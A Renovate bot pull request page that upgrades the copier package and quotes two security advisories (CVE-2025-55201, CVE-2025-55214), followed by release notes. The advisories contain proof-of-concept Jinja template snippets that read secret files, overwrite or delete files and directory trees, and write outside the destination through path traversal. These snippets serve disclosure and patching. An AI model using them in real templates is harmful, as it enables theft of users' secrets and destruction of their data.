Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 18, 2025

This PR contains the following updates:

Package Change Age Confidence
copier ==9.3.1==9.9.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-55201

Impact

Copier's current security model shall restrict filesystem access through Jinja:

  • Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
  • Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Read known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
    uvx copier copy src/ dst/
    cat dst/stolen-secret.txt
  • Read unknown file(s) via globbing:

    mkdir secrets/
    echo "s3cr3t #​1" > secrets/secret1.txt
    echo "s3cr3t #​2" > secrets/secret2.txt
    mkdir src/
    cat <<'EOF' > src/stolen-secrets.txt.jinja
    stolen secrets:
    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
    {% for f in parent.glob('*.txt') %}
    {{ f }}: {{ f.read_text('utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat dst/stolen-secrets.txt

Arbitrary write access

Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.

Reproducible examples:

  • Overwrite known file:

    echo "s3cr3t" > secret.txt
    mkdir src/
    echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja
    uvx copier copy src/ dst/
    cat secret.txt
  • Overwrite unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.write_text('OVERWRITTEN', 'utf-8') }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown file(s) via globbing:

    echo "s3cr3t" > secret.txt
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..').resolve() %}
    {% for f in (parent.glob('*.txt') | list) %}
    {{ f.unlink() }}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    cat secret.txt
  • Delete unknown files and directories via tree walking:

    mkdir data
    mkdir data/a
    mkdir data/a/b
    echo "foo" > data/foo.txt
    echo "bar" > data/a/bar.txt
    echo "baz" > data/a/b/baz.txt
    tree data/
    mkdir src/
    cat <<'EOF' > src/malicious.txt.jinja
    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}
    {% for root, dirs, files in parent.walk(top_down=False) %}
    {% for name in files %}
    {{ (root / name).unlink() }}
    {% endfor %}
    {% for name in dirs %}
    {{ (root / name).rmdir() }}
    {% endfor %}
    {% endfor %}
    EOF
    uvx copier copy src/ dst/
    tree data/

CVE-2025-55214

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
    echo "foo" > forbidden.txt
    mkdir src/
    echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src/ dst/
    cat forbidden.txt
  • Windows (PowerShell):

    # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
    echo "foo" > forbidden.txt
    mkdir src
    Set-Content -Path src\copier.yml @&#8203;'
    drive:
      type: str
      default: "C:"
      when: false
    '@&#8203;
    echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src dst
    cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.


Release Notes

copier-org/copier (copier)

v9.9.1

Compare Source

Security
  • disallow render paths outside destination directory
  • cast Jinja context path variables to pathlib.PurePath

v9.9.0

Compare Source

Feat
  • add support for prompting filesystem paths (#​2210)
Fix
  • updating: disable secret question validator when replaying old copy
  • vcs: fix cloning local dirty template repo when core.fsmonitor=true (#​2151)

v9.8.0

Compare Source

Feat
  • add support for providing serialized answers to multiselect choice questions
  • updating: add VCS ref sentinel :current: for referring to the current template
    ref
Fix
  • avoid infinite recursion when accessing _copier_conf.answers_file via Jinja
    context hook
  • validate default answers
  • correct git stage order on merge conflicts

v9.7.1

Compare Source

Refactor
  • import from module _tools instead of tools

v9.7.0

Compare Source

Feat
  • raise new TaskError exception on task errors
  • raise InteractiveSessionError when prompting in non-interactive environment
Fix
  • settings: use <CONFIG_ROOT>/copier as settings directory on Windows (#​2071)
  • updating: ignore last answer of when: false questions
  • restore access to full rendering context in prompt phase
Refactor
  • re-expose API with deprecation warnings on non-public API imports
  • rename internal modules with a _ prefix

v9.6.0

Compare Source

Feat
  • Add _copier_operation variable (#​1733)
  • context: expose a _copier_phase context variable
Fix
  • explicitly specify file encoding for windows (#​2007)
  • auto-detect encoding when reading external data file
  • settings: auto-detect encoding when reading settings file
  • cli: auto-detect encoding when reading unicode-encoded file specified with
    --data-file
  • expose only answers in question rendering context
  • ignore $file if $file.tmpl exists when subdirectory is used
  • decode external data file content explicitly as UTF-8
  • decode answers file content explicitly as UTF-8
Refactor
  • use common answers file loader

v9.5.0

Compare Source

Feat
  • external_data: load data from other YAML files
  • settings: allow to define some trusted repositories or prefixes
  • settings: add user settings support with defaults values (fix #​235)
  • add dynamic file structures in loop using yield-tag (#​1855)
  • add support for dynamic choices
Fix
  • correctly record missing stages in index for merge conflicts (#​1907)
  • allow importing from a file that has a conditional name
  • updating: don't crash when file is removed from template's .gitignore file
    (#​1886)
  • deps: update dependency packaging to v24.2
  • re-render answers file path when producing render context
  • restore compatibility with Git prior to v2.31 (#​1838)
  • updating: don't validate computed values
  • Don't mark files without conflict markers as unmerged (#​1813)

v9.4.1

Compare Source

Fix
  • restore support for preserve_symlinks: false for directories (#​1820)

v9.4.0

Compare Source

Fix
  • exclude: support negative exclude matching child of excluded parent
  • parse new answer when --skip-answered is used
  • validate answers to secret questions
  • updating: do not recreate deleted paths on update (#​1719)
  • support Git config without user identity
Refactor
  • set default value for keep_trailing_newline more idiomatically
  • drop support for Python 3.8
Perf
  • updating: avoid creating subproject copy

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Aug 18, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

Status: Do

Development

Successfully merging this pull request may close these issues.

1 participant